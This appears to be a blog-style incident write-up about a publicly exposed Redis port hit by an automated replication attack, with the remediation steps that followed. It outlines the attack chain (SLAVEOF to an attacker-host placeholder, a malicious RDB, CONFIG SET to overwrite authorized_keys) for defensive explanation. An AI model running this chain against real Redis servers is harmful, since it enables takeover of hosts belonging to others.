Redis Port Exposure: How a Replication Attack Works and How to Fix It

The incident started with a bug report:

RedisClient::CannotConnectError: getaddrinfo: Temporary failure in name resolution (redis://redis:6379)

At first glance, this seemed like a typical networking or DNS issue. However, digging deeper revealed something more interesting.

Our Redis instance had its default port (6379) publicly exposed.

An automated bot discovered it and attempted to execute the following command:

SLAVEOF / REPLICAOF

This is a known attack vector that exploits the fact that Redis, by default, does not require authentication.

If successful, the attack chain would look like this:

1. The attacker connects to the exposed Redis instance and runs:

   SLAVEOF attacker-host port

2. Our Redis instance starts replication and connects to the attacker’s server.

3. The attacker sends a malicious RDB dump containing payload data.

4. Using Redis configuration commands:

   CONFIG SET dir
   CONFIG SET dbfilename

   The attacker could write arbitrary files, for example:

   /root/.ssh/authorized_keys

5. This would grant the attacker SSH access to the host.

6. From there, they could install a miner, backdoor, or execute arbitrary code.

Fortunately, the attack did not succeed for two key reasons:

1. Replication Error

The bot failed to connect to its own server, so the attack stopped at the first step.

2. Container Isolation

Even if the RDB payload had been delivered, our Redis instance runs inside a Docker container.

This means:

• The container filesystem is isolated from the host
• Writing to /root/.ssh/authorized_keys on the host would not have been possible

So even a partially successful attack would not have compromised the host system.

Here’s how we handled the situation:

1. Verified Redis State

We checked the replication status directly:

INFO replication

It confirmed that Redis had switched to slave mode.

2. Restored Master Mode

We immediately reverted it:

REPLICAOF NO ONE

3. Confirmed External Exposure

From a local machine, we ran:

nc -zv <ip> 6379

The connection succeeded, confirming the port was publicly accessible.

4. Closed the Port

We blocked the port via firewall and removed the unintended port forwarding that exposed Redis in the first place.

After that, we verified again:

nc -zv <ip> 6379

This time, the connection failed, and the port was no longer exposed.

Given that the port was actively targeted, we prioritized closing the immediate attack vector. A broader security review is the natural next step to ensure there are no similar misconfigurations elsewhere.

If you're running Redis (or similar services like Memcached or MongoDB), make sure they are not exposed to the public internet.

Simple checks that can save you from real incidents:

• Bind services to localhost or private networks only
• Use firewall rules to restrict access
• Enable authentication where possible
• Regularly scan your infrastructure for open ports

This fix took just a couple of minutes, but it prevented a whole class of potential attacks.